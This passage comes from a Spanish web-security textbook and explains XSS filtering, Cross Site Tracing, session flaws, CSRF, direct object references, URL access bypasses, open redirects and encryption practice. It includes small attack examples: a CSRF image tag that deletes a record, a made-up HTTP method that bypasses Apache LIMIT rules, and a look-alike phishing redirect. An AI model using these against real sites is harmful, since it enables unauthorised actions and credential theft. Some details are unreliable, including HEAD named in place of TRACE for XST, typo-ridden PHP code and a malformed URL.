Un problema muy frecuente en la programación de estos filtros es que no se lleva a cabo una normalización adecuada antes de aplicarlos. De esta manera, distintas codificaciones de caracteres pueden resultar en cadenas que pasan los filtros pero que, al ser ejecutadas por el navegador, producen el mismo efecto del que el filtro estaba intentando proteger. UTF-7 es una codificación problemática con la que se han publicado varios vectores de ataque.

Una buena práctica es que una empresa, una organización o un grupo de desarrollo en general mantenga una librería unificada donde se hayan tenido en cuenta estos problemas y que proporcione soluciones a cada uno de los casos, especifique subconjuntos de etiquetas que hay que permitir, etc.

Protegerse de *Cross Site Scripting* es realmente complicado, ya que no existe una solución universal. El documento de referencia, perfecto para entender lo complejos y creativos que pueden llegar a ser algunos de los vectores de ataque, es "Cross Site Scripting Cheat Sheet", de RSnake.

Algunos navegadores implementan un sistema de protección de *cookies* mediante un *flag* denominado *HTTPOnly*. Cuando una cabecera "Set-Cookie" llega al navegador con este *flag* activado, el navegador sólo debe permitir el acceso a esta *cookie* para incluirla en las respuestas HTTP y, de esta manera, poder utilizarla como identificador de sesión con el uso para el que el servidor la esté destinando. Esto, en principio, impide el acceso a esta *cookie* mediante Javascript con "document.cookie". Sin embargo, una técnica conocida como *Cross Site Tracing* (XST) permite obtener esta *cookie* si el servidor no está correctamente configurado. Sin entrar en muchos detalles, la técnica consiste en que junto con los métodos HTTP conocidos por todos como "GET" y "POST", hay otros como "PUT", "DELETE", "HEAD" o "TRACE" a los que los servidores también responden. En concreto, el método "TRACE" es un método de *debug* cuyo comportamiento debe ser el de responder incluyendo en el contenido de la respuesta el contenido de la petición (es decir, incluyendo cabeceras HTTP). Como método de *debug*, debería estar desactivado en servidores en producción, pero lo normal es que no lo esté. Si el servidor que aloja la página vulnerable a *Cross Site Scripting* responde al método "HEAD", y aunque la *cookie* venga marcada como "HTTPOnly", el código Javascript inyectado por el atacante puede hacer una petición "HEAD" asíncrona ("XMLHttpRequest") al servidor, y en la respuesta de esta petición estarán todas las cabeceras HTTP que se incluyeron en la misma, así como la *cookie*. De este modo, la misma *cookie* a la que no fue posible acceder directamente mediante Javascript con "document.cookie" es ahora accesible parseando la respuesta a la petición "HEAD". Este ejemplo sirve, por una parte, para ilustrar lo creativo que puede llegar a ser el hecho de esquivar una medida de seguridad y, por otra, para recordar –y anticipar lo que veremos en apartados posteriores– que nunca se debe programar confiando en la configuración de seguridad del servidor.

Qué, cómo y cuándo filtrar

Después de haber visto los dos fallos más importantes, *SQL Injection* y *Cross Site Scripting*, ya estamos en condiciones de decir que lo importante es el correcto filtrado de los parámetros de entrada de la aplicación. Tras los ejemplos que hemos visto, sabemos ya que cualquier cosa puede ser un parámetro de entrada, y no sólo los obvios parámetros "GET" en una URL o los campos en un formulario.

Tan importante como qué filtrar y cómo filtrar es cuándo filtrar. Cuando estamos ejecutando una consulta a una base de datos, queremos filtrar contra ataques de *SQL Injection*, pero no es el momento de aplicar un filtro anti *Cross Site Scripting*. De hecho, normalmente nos interesa almacenar la entrada del usuario de la forma más pura posible, filtrando aquello que puede ser malicioso para el sistema de almacenamiento. De la misma manera, no es necesario filtrar contra *SQL Injection* la salida que va a mostrarse al usuario, ya que aquí debemos concentrarnos en otro tipo de vulnerabilidades. Un objetivo típico de ataques *Cross Site Scripting* son las aplicaciones de proceso de *logs*. Normalmente en los *logs* se almacena la información sin filtrar, y puesto que son aplicaciones de administración interna, no suele dedicarse mucho esfuerzo ni atención a su seguridad. Sin embargo, cuando el administrador de un servidor analice los *logs* con su bonita interfaz web, allí estará el ataque de *Cross Site Scripting* para robarle las credenciales y enviarlas en remoto al atacante, como ya hemos visto en algún ejemplo anterior.

3. Fallos en autenticación y gestión de sesiones

Frecuentemente, los desarrolladores construyen sus propias soluciones para la autenticación y gestión de sesiones, lo cual no es en absoluto una tarea trivial. La mayoría de las aplicaciones acaban exponiendo fallos que comprometen la seguridad de los datos y de las acciones que los usuarios pueden llevar a cabo.

3.1. Gestión de los identificadores de sesión

Todas las tecnologías web y *frameworks* proveen al desarrollador de algún tipo de identificador de sesión. Estos identificadores, si bien casi todos han sido revisados y corregidos en alguna ocasión, se consideran relativamente seguros y la recomendación es usar estas soluciones provistas por el *framework*. Crear identificadores de sesión personalizados es una tarea realmente complicada, que requiere una serie de conocimientos que no están al alcance de todos los desarrolladores que lo intentan. Como resultado, se trata de uno de los problemas de seguridad más frecuentes, que puede manifestarse en sesiones con el mismo identificador –de modo que unos usuarios acceden a los datos de otros–, identificadores débiles –por lo que resulta fácil adivinar identificadores de sesión que otros usuarios puedan estar utilizando–, etc.

Otro de los problemas que aparecen con frecuencia es la transmisión de los identificadores de sesión en claro, y no sobre una conexión TLS como HTTPS. Por muy fuerte y bien diseñado que esté el identificador de sesión, y por mucho que se utilice HTTPS en el proceso de autenticación, si el resto de la comunicación no es cifrada, un atacante con acceso al identificador –que normalmente viaja como parámetro en la URL o en *cookies*– podrá suplantar fácilmente la identidad del usuario.

En función de la criticidad de nuestra aplicación, es importante configurar tiempos de caducidad de sesión apropiados. Una aplicación de banca típicamente anula la sesión si el usuario no ha efectuado ninguna acción en los últimos pocos minutos. Estas decisiones afectan a la usabilidad de la aplicación, que obligará al usuario a volver a autenticarse si esto pasa, tal vez interrumpiendo parte de una operación por pasos que estuviera efectuando. Sin embargo, se trata de una decisión a favor de la seguridad que el desarrollador debe tomar, evaluando si el riesgo al que se expone el usuario si su sesión es robada resulta lo suficientemente alto como para compensar esta incomodidad.

Las opciones de abandonar sesión son otras de las acciones obligatorias que cualquier aplicación con gestión de usuarios debe proveer. Al compartir equipos de acceso a las aplicaciones web en sitios como hoteles, cafeterías, etc. es normal que un usuario simplemente cierre la ventana de su navegador y abandone el puesto. Cuando el siguiente usuario acceda al mismo dominio, si

la sesión no ha caducado, accederá directamente identificado como el usuario anterior, sin necesidad de autenticarse. El primer usuario debería haber cerrado correctamente la sesión antes de cerrar el navegador. Además, y en relación con el punto anterior, la aplicación debe establecer un tiempo de caducidad acorde con la criticidad de lo que queda expuesto.

En sistemas de tráfico elevado es extremadamente importante el uso de mecanismos de caché para optimizar los tiempos de respuesta y maximizar la carga a la que cada uno de los servidores puede responder. Estos sistemas de caché son muchas veces responsables de problemas de seguridad cuando no utilizan correctamente los identificadores de sesión como parte de las claves con las que indexan las cachés.

> Supongamos que tras autenticarse, un usuario accede a la bandeja de entrada de su correo electrónico en https://www.servidor.com/mensajes, donde su sesión está siendo identificada por medio de una *cookie*. Si entre el servidor y el cliente algún sistema de caché esta indexando basado en URL e ignorando las *cookies*, un segundo usuario que accediera a la misma URL pasando por el mismo sistema de caché obtendría la bandeja de entrada del primer usuario autenticado. Observad que no tiene por qué tratarse de un servidor de caché propio de la organización que sirve la aplicación, sino que cualquier tipo de *proxy* caché entre el usuario y la organización produciría el mismo efecto.

Por este motivo, es importante configurar correctamente las cabeceras de caché que indican qué información debe cachearse y por cuánto tiempo, así como, en las cachés propias cuyo control tenga el desarrollador, asegurarse de que se utilizan las claves apropiadas.

Un buen sistema de gestión de sesiones utiliza más datos –además del propio identificador de sesión– para identificar de forma única a un usuario, tales como la dirección de origen u otras cabeceras HTTP.

> Un escenario habitual es el del usuario que recibe un enlace por correo electrónico que le da acceso autenticado a información privada o a la ejecución de alguna acción en cierta aplicación web. Si este usuario reenvía el correo a otro, está enviando un enlace que le identifica en la aplicación, y si este segundo usuario sigue el mismo enlace, accederá a la aplicación identificado como el usuario que le envió el correo electrónico.

3.2. Recuperación de contraseñas

A la hora de recuperar una contraseña, podemos encontrar varios sistemas y hay cierta controversia acerca de los pros y los contras que ofrece cada uno de los mismos. Veamos los dos más utilizados.

Por una parte, tenemos la recuperación de contraseña por su envío al correo electrónico. La variante más débil de este sistema es la que envía al usuario la misma contraseña con la que se registró, lo cual indica que esta es almacenada en claro de manera legible por la aplicación, y esto no debería ser así, aunque no es materia para este apartado. En el caso en que la aplicación guarde un *hash* de la contraseña, normalmente lo que hace es enviar al usuario una nueva contraseña generada de manera aleatoria. En ocasiones esta contraseña no es lo suficientemente aleatoria, o está basada en el nombre de usuario o algu-

na otra información sobre el usuario que la aplicación tuviera guardada. Un atacante que haya deducido la lógica detrás de la generación de contraseñas aleatorias podría solicitar el envío (y consiguiente reseteo) de la contraseña del usuario cuya identidad quiere suplantar, sabiendo que a partir de este momento la contraseña de este usuario será regenerada por una que él conoce.

Hemos visto potenciales errores de implementación en la solución de envío por correo de una nueva contraseña, pero hay un problema con este método que no depende de la implementación, sino que es conceptual: haciendo esto, se está delegando la seguridad a la que tenga el sistema de correo electrónico del usuario, y este puede ser el eslabón más débil de la cadena (si el usuario está consultando su correo por POP o IMAP sin TLS, tiene su correo hospedado en un servicio poco seguro, etc.). De nada sirve que la aplicación sea la más segura, si se compromete el correo del usuario al tener acceso a su contraseña si se pide a la aplicación que genere una nueva y la envíe por correo.

Para terminar con este sistema, comentaremos que hay un tipo de aplicaciones para las que no es válido este esquema, y son las propias aplicaciones web de correo electrónico. De nada sirve que la aplicación envíe por correo electrónico al usuario la contraseña que le da acceso a su correo electrónico.

La alternativa más común al envío de una nueva contraseña por correo es la pregunta secreta. El usuario configura una o varias preguntas cuya respuesta se supone que sólo él conoce, de modo que si pierde su contraseña, se le hará una de estas preguntas y con la respuesta adecuada se le proporcionará su contraseña.

Al igual que en el caso anterior, si la contraseña es la misma que la anterior quiere decir que estaba almacenada en claro, lo que es incorrecto. La aplicación debe generar una contraseña aleatoria y lo suficientemente buena para no ser deducida.

Muchas veces las aplicaciones dan a elegir al usuario una pregunta de una lista con pocas opciones, lo cual limita el tipo de preguntas/respuestas que el usuario puede elegir, y permite a un atacante centrarse en el tipo de información que quiere obtener para acceder a esta cuenta.

El gran problema de este método de la pregunta secreta es que, si bien puede proteger de ataques anónimos e indiscriminados, normalmente los ataques a cuentas de usuarios son llevados a cabo por personas interesadas en estas cuentas en particular y no en una cuenta aleatoria (como querer acceder al correo electrónico de un familiar o de la pareja). Por lo general, estas personas tienen fácil acceso a la respuesta a la pregunta secreta del usuario.

4. Referencias inseguras directas a objetos

Supongamos una aplicación que nos da acceso a una lista de elementos. Por ejemplo, un usuario que, una vez autenticado en la aplicación, puede acceder a la lista de sus documentos, sus facturas, etc.

Los enlaces que dan acceso al detalle de cada elemento podrían ser algo así:

```
https://www.servidor.com/ver_elemento.php?id=3
```

donde "3" es el identificador del elemento en la base de datos. ¿Qué pasaría si el usuario cambiara el identificador en la URL por uno al que no tiene acceso? Sin el mecanismo de autorización apropiado, estaría accediendo a un recurso al que no debería poder acceder. Esto ocurre para todo tipo de acciones que funcionen de esta manera. Por ejemplo,

```
https://www.servidor.com/borrar_elemento.php?id=3
```

tendría el mismo problema, y el efecto aquí no es sólo acceso a datos, sino que los datos se estarían eliminando de la base de datos.

Cualquier sistema que tenga usuarios que pueden acceder a cierta información, pero no a toda, o que puedan efectuar ciertas acciones sobre objetos (como su consulta), pero no otras (como su modificación o borrado), es susceptible de este tipo de vulnerabilidad.

La solución a este problema es un riguroso sistema de autorización que verifique en cada una de las acciones del usuario que este tiene permiso para llevarlas a cabo.

Nota

Más adelante, dedicaremos un módulo a estudiar distintas maneras de implementar buenos sistemas de autorización en las plataformas más comunes, .NET, J2EE y algunos *frameworks* en PHP.

5. *Cross Site Request Forgery* (CSRF)

Los ataques de *Cross Site Request Forgery* se consideran una extensión de los ataques de *Cross Site Scripting* (XSS), con la diferencia de que en esta ocasión es el propio usuario el que va a llevar a cabo la acción que el atacante desea.

Supongamos el siguiente escenario. Un usuario se autentica en una aplicación web y una vez en esta, puede acceder a cierta información y efectuar ciertas acciones. Supongamos, además, que todos estos datos y acciones están protegidos convenientemente con los sistemas adecuados de autorización, de modo que se comprueba que sólo los usuarios autorizados puedan acceder a los mismos. Una posible acción podría ser:

```
https://www.servidor.com/borrar_elemento.php?id=3
```

Mientras el usuario está trabajando en la aplicación, o bien si cerró la ventana o pestaña del navegador sin terminar correctamente la sesión y esta aún no ha expirado, visita otra página web, por ejemplo http://www.atacante.com, cuyo código HTML incluye una etiqueta como la siguiente:

```
<img src="https://www.servidor.com/borrar_elemento.php?id=3"/>
```

Puesto que el usuario está correctamente autenticado en la aplicación, y el navegador va a enviar de manera automática la misma información que hubiera enviado si el usuario estuviera llevando a cabo legítimamente la acción (*cookies*, IP, cabeceras, etc.), la llamada anterior resultará en la ejecución de la acción asociada, en este caso el borrado del elemento cuyo identificador es "3".

El atacante puede intentar de muchas maneras que el usuario visite esta página. Puede enviarle un correo electrónico falso con un enlace a la misma, o incluso el propio correo podría ser la página maliciosa que contiene el enlace, ya que la mayoría de los clientes de correo interpretan HTML.

El *tag* "img" es sólo un ejemplo de cómo puede conseguirse esto, pero las posibilidades son muy numerosas: un enlace directo que el usuario siga, la carga de un fichero CSS o Javascript, etc. Todo lo que no esté protegido por la política del mismo origen en el navegador se puede usar para camuflar la acción.

Este tipo de ataques no tiene por qué estar siempre dirigido a un usuario en concreto. Supongamos un sitio muy usado que no lleve a cabo las validaciones correctas para protegerse de este CSRF. El atacante podría incluir estas acciones en su página (o aprovechar XSS en otras páginas para incluirlas también), y todo usuario que las visitara y que, a su vez, estuviera autenticado en el sitio muy usado caería víctima del ataque. Si el propio sitio vulnerable a CSRF lo es

también a XSS, se puede llevar a cabo un ataque conocido como CSRF almacenado: incluyendo una etiqueta como la anterior en alguna parte de la aplicación, es esta misma la que hace que el usuario genere de manera involuntaria esta acción, sin necesidad de visitar otra página.

La primera protección posible ante CSRF es la validación por parte del usuario de cada una de las acciones, por medio de un *captcha* o de introducir de nuevo su contraseña. Si bien esto soluciona el problema, tiene un gran impacto en la experiencia del usuario y por tanto no siempre es válido. No obstante, en sitios extremadamente sensibles como bancos o sitios de comercio electrónico, la opción elegida suele ser volver a autenticarse justo antes de una acción que implique un pago.

Para mitigar este tipo de ataques, las aplicaciones deben establecer una asociación única entre el formulario en el cliente que origina una acción y el *script* en el servidor que lleva a cabo esta acción. De esta manera, en nuestro ejemplo inicial, cuando el usuario está en el formulario que le permite llevar a cabo la acción para eliminar un elemento, este formulario incluirá un valor aleatorio que el servidor comprobará justo antes de efectuar la acción, de modo que se garantiza que el *script* está siendo llamado desde el sitio adecuado. Puesto que en un navegador unas pestañas o ventanas no tienen acceso a otras, ninguna de las otras manipuladas por el atacante puede acceder a este valor aleatorio para simular la acción.

Como en el caso de los identificadores de sesión, implementar una solución personalizada para CSRF no suele funcionar, ya que no son lo suficientemente buenas. Es mejor recurrir a soluciones ya existentes y probadas. Distintas tecnologías proveen formas para evitar estos ataques, y la mayoría de los *frameworks* hoy día construyen sus enlaces y acciones protegidos.

Para una aplicación personalizada en la que no hagamos uso de ninguno de los *frameworks* que protegen automáticamente de CSRF, una solución muy sencilla es la provista por OWASP, CSRFGuard, disponible para Java, .NET y PHP.

El formulario incluye el *token* único generado por CSRFGuard:

```
    <form ... >
    <input ...>
    <?php echo $cg; ?>
</form>
```

Y el *script* que procesa la acción incluye la comprobación del *token*:

```
try {
      $cg->isValid();
      // aquí va el código de la acción
} catch (TokenException $e) {
```

```
    // aquí va el código para ejecutar cuando la validación CSRF falla
} catch (__otras excepciones__) {
    // aquí va el código de otras posibles excepciones en el código
}
```

6. Restricciones incorrectas al acceso a URL

Cuando se trata de restringir el acceso a información o a acciones, al final todo acaba dependiendo de un buen esquema de autorización que permita consultar los recursos deseados sólo a aquellos usuarios que tengan permisos adecuados, y en la manera en que estén autorizados a interactuar con estos recursos.

Cada recurso está identificado de manera única para que sea posible acceder al mismo, ya sea mediante un nombre en el sistema de ficheros, una clave primaria en una base de datos, etc. Los sistemas de autorización consisten en efectuar las comprobaciones pertinentes para permitir o denegar el acceso a cada recurso, y esto significa que de algún modo el usuario está accediendo de manera indirecta al recurso para pasar por estas comprobaciones.

Un error muy común, normalmente fruto de la no comprensión del esquema de autorización elegido, consiste en que a los recursos se pueda acceder de manera directa, evitando las comprobaciones del sistema de autorización.

Pongamos el ejemplo de una revista digital que permite su descarga en PDF para sus suscriptores. Un directorio en el sistema de ficheros al que la aplicación web tiene acceso contiene una serie de documentos que no queremos publicar abiertamente, sino cuyo acceso queremos restringir a ciertos usuarios de nuestra aplicación. Así pues, la manera en que la aplicación es diseñada llevaría al usuario, después de haber sido autenticado, a una página como la siguiente:

```
https://www.servidor.com/privado/lista_documentos.php
```

que podría tener un código como el siguiente:

```
<?php
sesión_start();
if(!isset($_SESSION["userData"])) {
            Zheader("Location: login.php?file=lista_documentos.php");
}

function ls($path) {
      //función que genera enlaces a los ficheros que se encuentren en $path
}
?>
<html>
      <head>
         <title>Documentos</title>
```

```
        </head>
        <body>
              <h1>Documentos</h1>
              <?php   ls('./docs/'); ?>
        </body>
  </html>
```

Donde primero se comprueba si el usuario está autenticado y se le redirige a la página de *login* si no lo está, y a continuación se muestra una lista de enlaces a los documentos que se encuentren en la carpeta "./docs/". Por lo tanto, estos enlaces tendrán la forma siguiente:

```
<a href="docs/documento1.pdf">documento1.pdf</a>
```

Claro que esto significa que, al seguir el enlace, el navegador irá a la dirección:

```
https://www.servidor.com/privado/docs/documento1.pdf
```

Ahora bien, ¿qué impide a un usuario ir directamente a esta URL sin pasar por la lista de documentos? Nada. Efectivamente es sencillo evitar el sistema de autorización, ya que no está comprobando el acceso a los recursos que se quiere proteger, y estos son fácilmente accesibles de manera directa.

Una primera aproximación a corregir este problema es almacenar los recursos con nombres no predecibles, de manera que "documento1.pdf", en el ejemplo anterior, podría llamarse "XrefgTT-12454587-trejKMxDS.pdf". Este mecanismo presenta dos problemas principales. El primero es la debilidad en la generación de estos nombres. Muchos sistemas utilizan nombres de algún modo previsibles, basados en fechas, rutas o funciones de generación de nombres aleatorios demasiado pobres y fácilmente predecibles. El segundo problema está detrás de lo que en la industria se conoce como *security through obscurity*, ya que se está implementando un sistema de seguridad de protección de recursos basado en que el usuario no tiene cierta información. Estos sistemas han demostrado no ser válidos en infinidad de ocasiones, ya que es cuestión de tiempo que los nombres reales de los ficheros pasen a ser de dominio público.

> El ejemplo de la revista digital es perfecto para ilustrar lo rápido que los enlaces acabarían publicados en Internet tal y como salieran.

Una segunda manera de controlar el acceso a estos ficheros se lleva a cabo mediante el propio servidor web. De esta manera, si usamos el servidor de Apache, un fichero ".htaccess" en el directorio "docs" del ejemplo anterior, como el siguiente:

```
AuthType Basic
AuthName Private
AuthUserFile /etc/httpd/usuarios
```

```
<LIMIT GET>
require valid-user
</LIMIT>
```

limitaría el acceso a los recursos de este directorio a los usuarios listados en el fichero "/etc/httpd/usuarios". Este método también presenta varios problemas. En primer lugar, los sistemas de autenticación ofrecidos son bastante pobres, y el desarrollador normalmente elegirá un sistema más robusto para la gestión de usuarios y permisos de la aplicación. En segundo lugar, estos sistemas no permiten mucha más granularidad de lo que se pueda hacer con listas de usuarios y grupos básicos, y de nuevo resultan insuficientes para aplicaciones que quieran un control más detallado de a quién dejan acceder a cada recurso y las acciones que permiten sobre los mismos. El método es limitado y su implementación normalmente es deficiente. La mayoría de las aplicaciones que utilizan este sistema copian un trozo de configuración como el anterior del manual, y generan su lista de usuarios o grupos sin entender exactamente cómo funciona la autorización que están implementando.

Veamos un par de ejemplos sobre esto. Si observamos la configuración anterior, está limitando el acceso "GET" al directorio en el que se encuentre el fichero. Sin embargo, nada impide otros métodos HTTP de acceder al fichero, y en este caso una petición "POST" funcionaria igual de bien para obtener el documento y evitaría el sistema de protección.

El segundo ejemplo es más curioso todavía, y resulta perfecto para ilustrar lo importante que es siempre saber lo que está pasando y cómo funciona la tecnología que estamos usando. Supongamos que estamos restringiendo mediante el método de las directivas "LIMIT" los recursos de un directorio, incluyendo *scripts* PHP o Perl. Una vez aprendida la lección anterior, no sólo se limita "GET", sino también "POST", "PUT", "HEAD", "TRACE", etc. y todos los métodos de la especificación HTTP 1.1. ¿Qué pasaría si el servidor recibiera una petición que utilizase un método no estándar? Es decir, en vez de:

```
GET /privado/script.php HTTP/1.1
```

algo como:

```
ASDF /privado/script.php HTTP/1.1
```

El resultado es que el servidor Apache va a comprobar si el método utilizado está o no en la lista limitada por la directiva "LIMIT". De no estarlo, delegará su proceso al módulo que se encarga de tratar este tipo de *scripts*, en este caso el motor de PHP, y es por lo tanto responsabilidad de "script.php" comprobar que "REQUEST_METHOD" es el adecuado, porque de lo contrario todo se procesará como si fuera una petición "GET". Es muy habitual encontrar este problema en sistemas de administración de sitios web en línea, en los que la sección de administración está protegida por mecanismos HTTPAuth basados en

Apache que limitan incorrectamente el acceso a sus *scripts*. Al mismo tiempo, sus *scripts* no llevan a cabo estas comprobaciones, pues creen que Apache las está haciendo en su lugar.

Un último problema que hay que tener en cuenta es que una vulnerabilidad de acceso local a ficheros (LFI, descrita más adelante), en cualquier otra parte de la aplicación o de otras aplicaciones alojadas en el servidor web, permitiría acceder a estos documentos, ya que se encuentran dentro de la raíz de documentos ("DocumentRoot") accesibles por el servidor web.

La solución correcta a la protección de recursos contra su acceso directo prohibido es hacerlos no accesibles por el servidor web. Los recursos deben estar alojados en algún lugar del sistema de ficheros al que los *scripts* de la aplicación puedan acceder, pero que el servidor web no pueda servir. La funcionalidad de la aplicación queda extendida, en lugar de a proporcionar enlaces a la ruta de los ficheros que han quedado fuera del alcance del servidor web, a servir como método de *streaming* de datos, leyendo la información del sistema de ficheros y transformándola a un *stream* de *bytes* con la cabecera adecuada para que el navegador pueda entenderlo como el tipo de documento que es. De este modo, nuestro ejemplo anterior generaría ahora enlaces del tipo siguiente.

```
https://www.servidor.com/privado/ver_documento.php?doc=documento1.pdf
```

Donde "ver_documento.php" incorporaría la comprobación de autorización antes de acceder a la carpeta "docs", que ha sido movida fuera de la raíz de documentos. El acceso directo a los ficheros PDF es ahora imposible, y el acceso directo al enlace anterior pasa por el sistema de autorización deseado, lo que obliga al usuario a estar autenticado y comprobar que tiene los permisos necesarios para acceder al recurso al que lo está haciendo o efectuar con este la acción que desea.

Los ejemplos y escenarios descritos en esta sección se han reducido por simplicidad a un simple "SI/NO" en el acceso al recurso. Por supuesto, esto puede ser mucho más complicado dependiendo de qué es lo que la aplicación desee permitir hacer al usuario con este recurso.

Nota

Se dedicará un módulo a la implementación de los sistemas de autorización adecuados para controlar este acceso.

7. Redirecciones y reenvíos no validados

Hay unos cuantos casos de uso válidos para ilustrar por qué una aplicación querría redirigir a un usuario por medio de HTTP, normalmente con un "HTTP 302 redirect". Por ejemplo, una web que contiene enlaces a sitios externos y quiere mantener un registro de los usuarios que salen de su página hacia estos sitios. Otro ejemplo similar sería una web que muestra anuncios y quiere tener su propio control sobre los clics que se hacen en estos. Una manera común de hacer esto es mediante un *script* en el servidor que recibe como parámetro la URL a la que redirigir al usuario y devuelve un "302" a esta URL. Sería algo así:

```
http://www.servidor.com?redirigir.php?url=www.sitioexterno.com
```

El problema viene cuando estas URL no están validadas de ninguna manera, ni se comprueba que el usuario está autorizado para esta redirección. Un usuario podría encontrar un enlace como el anterior en otra web o correo electrónico y creer en su validez al ver el dominio, en el que confía. Si se trata de una dirección HTTP con un certificado válido, la confianza será normalmente incluso mayor. Sin embargo, nuestra aplicación esta redirigiendo al usuario a un sitio distinto, que puede estar infectado con *malware* o ser un ataque de *phising*.

El principal motivo por el que queremos estar a salvo de este tipo de ataques es proteger la confianza de nuestros usuarios, pero no es el único, porque también estamos protegiendo nuestras propias aplicaciones. El atacante, que crea el enlace con la redirección maliciosa, podría estar redirigiendo al usuario a un sitio con un nombre de dominio muy parecido al nuestro, donde hospeda una réplica del mismo para hacerse con las credenciales de nuestros usuarios o cualquier otra derivación de un ataque de *phising*. Por ejemplo:

```
https://www.mibanco.com/redirigir.php?url=http://www.mlbanco.com
```

Observad el sutil detalle de la diferencia en los nombres de los dominios: la "i" cambia por una "l", algo de lo que el usuario difícilmente puede percatarse. Además, la petición HTTPS va a nuestro sitio, donde tenemos un certificado legítimo, por lo que el usuario no va a recibir ninguna alerta en su navegador.

No sólo las redirecciones externas son vulnerables a este tipo de ataques, también lo son las internas:

```
http://www.miservidor.com/redirigir.php?pagina=/ruta/a/otraPagina.php
```

Se trata de un caso bastante común en el que la autorización se centraliza en la página que redirige. Esto puede ser utilizado por un atacante para saltarse el sistema de autorización, pasando por este *script* para ser redirigido a otra página no prevista, como por ejemplo la zona de administración del sitio.

En este caso de redirecciones internas, también se ve con frecuencia que si bien están pensadas para redirigir al usuario de una parte de la aplicación a otra mediante rutas relativas, el parámetro con la URL puede contener una ruta absoluta que será utilizada en la redirección, lo que enviará al usuario a un sitio externo, con las consecuencias vistas anteriormente.

La mejor solución posible es intentar evitar las redirecciones a toda costa. Y si las necesitáramos, deberíamos programar nuestra aplicación de manera que el destino de la redirección no venga de ningún parámetro que haya podido ser manipulado por el usuario, como parámetros "GET" o "POST", cabeceras HTTP o *cookies*.

Si no es posible evitar las redirecciones y necesitamos que estas se lleven a cabo mediante la evaluación de parámetros –como hemos visto en los ejemplos anteriores–, la manera correcta de implementarla pasa por mantener un mapa interno que asocie identificadores, que son los que vendrán del usuario, con las URL finales a las que será redirigido, las cuales se mantienen en el servidor. De esta manera, sólo las URL de este mapa, es decir, las previstas por la aplicación y ninguna más, podrán ser objeto de una redirección, y cualquier identificador que no mapee a una URL válida resultará en un error.

API de seguridad como ESAPI, provista por OWASP, pueden ayudar a crear redirecciones de manera segura.

8. Almacenamiento criptográfico inseguro

Los niveles de privacidad de los datos que una aplicación maneja pueden ser muy distintos y, algunos de estos, absolutamente críticos.

Los datos de los usuarios, credenciales, datos bancarios o datos relacionados con la salud o la situación financiera son extremadamente privados. Casi todos los países tienen fuertes leyes de protección de datos que obligan a las empresas u organizaciones que tratan con estos datos privados a manejarlos de manera segura.

Cuando se trata de datos de la aplicación, las credenciales con las que se conecta a la base de datos o las claves con las que consulta una API externa son datos que se quiere mantener en secreto.

Almacenar estos datos de manera segura no se hace sólo para protegerse de un posible ataque externo, sino también del personal interno, al que se debe impedir el acceso de la misma manera. Así pues, si bien queremos impedir que un posible ataque de *SQL Injection* acabe con un usuario remoto leyendo las credenciales en claro de los usuarios de la aplicación, también queremos evitar que el administrador de la aplicación tenga acceso a los datos privados de los usuarios.

Es indispensable conocer cuál es el nivel de criticidad y privacidad de los datos que se manejan, lo cual implica conocer también la normativa y legislación correspondiente para aplicar las medidas adecuadas. Asimismo, hay que identificar los mecanismos de acceso de cada uno de estos datos, y de esta manera protegerlos de los diferentes agentes que pudieran estar interesados en un acceso ilegítimo a los mismos, ya se trate de agentes internos o externos a la organización.

Las copias de seguridad suelen ser un punto crítico a la hora de garantizar la privacidad adecuada de los datos. Si bien podemos pensar que los datos están seguros sin cifrar mientras se mantengan en los servidores de nuestra organización (lo cual es de por sí un error), cuando se hace una copia de seguridad y se mantiene en un sitio externo estos datos están a veces muy fuera del control de la organización, o utilizan canales de transporte externos o no lo suficientemente fiables para almacenar estas copias.

Si los datos están encriptados deben estarlo también en las copias de seguridad, y las claves tienen que mantenerse de manera separada. Almacenar en las copias de seguridad tanto los datos cifrados como las claves que se utilizan para descifrarlos permite a cualquiera con acceso a las copias descifrar los datos y acceder a los mismos.

Los algoritmos criptográficos utilizados deben ser lo suficientemente fuertes, y hay que evitar aquellos para los que se conocen vulnerabilidades que permiten su descifrado en un tiempo reducido sin necesidad de las claves.

Las claves utilizadas en el cifrado deben ser también de un tamaño que garantice su fortaleza. Cada algoritmo tiene sus recomendaciones de seguridad mínimas. Las claves de 1.024 o 2.048 bits son valores típicos seguros.

La gestión de claves es también un área esencial, en la que deben definirse políticas de almacenado y acceso a las claves de manera que queden protegidas de accesos no autorizados. También hay que definir su rotación, de modo que se minimice el impacto del posible compromiso de estas claves.

9. Protección insuficiente en la capa de transporte

Datos que viajan en claro

Datos que viajan sin ningún tipo de cifrado.

El caso más evidente de protección insuficiente en las comunicaciones se produce cuando esta protección no existe en absoluto y todos los datos viajan en claro por la Red. Cuando estos datos incluyen credenciales de los usuarios o datos privados, se ponen en juego tanto la integridad de la propia aplicación y el acceso a la misma como el acceso a dichos datos.

Cuando los datos viajan en claro, pueden ser interceptados en muchos puntos distintos entre los dos extremos de la comunicación.

Supongamos que un usuario se conecta a una aplicación en remoto desde la red inalámbrica de su casa. Desgraciadamente, en el momento de escribir este texto, las opciones de protección de redes inalámbricas más extendidas han demostrado ser bastante inseguras, y cualquiera con las herramientas adecuadas puede acceder a estas redes en unos cinco o quince minutos. Estamos hablando de redes sin protección alguna, con cifrado WEP o implementaciones débiles de WPA. Hay opciones, como algunas de las implementaciones de WPA2, que hoy día se consideran lo suficientemente seguras, pero sólo las implementan usuarios expertos. Esto quiere decir que conseguir acceso a la red a la que el usuario está conectado es casi tan fácil como estar físicamente cerca de su ubicación, y de hecho, con la antena adecuada, "cerca" es bastante relativo.

Una vez el tráfico inalámbrico del usuario es enrutado por su ISP, pasa a circular por una red desconocida. Muchas de estas redes presentan configuraciones inseguras por las que los propios usuarios, clientes del ISP, pueden acceder a datos de otros clientes. En el menos desfavorable de los casos, los administradores de la red del ISP pueden acceder a su tráfico. Y lo mismo ocurre en tantas redes distintas por las que pasen los datos hasta llegar a su red destino, que tampoco es una excepción.

Un error cometido por muchas aplicaciones que requieren autenticación es el cifrado mediante el uso de HTTPS del formulario de acceso, volviendo a utilizar HTTP para el uso de la aplicación en sí. Al ser HTTP un protocolo sin estado, el usuario se mantiene autenticado de manera que no tenga que introducir sus datos una y otra vez mediante un *token* que viaja con cada nueva petición en forma de parámetro o *cookie*. Aunque algunos sitios aplican medidas adicionales, este *token* suele bastar para identificar al usuario, de modo que si un atacante tiene acceso al tráfico de red, no importa que no pueda acceder a las credenciales si puede acceder al *token* que lo identifica ante la aplicación como el usuario autenticado.

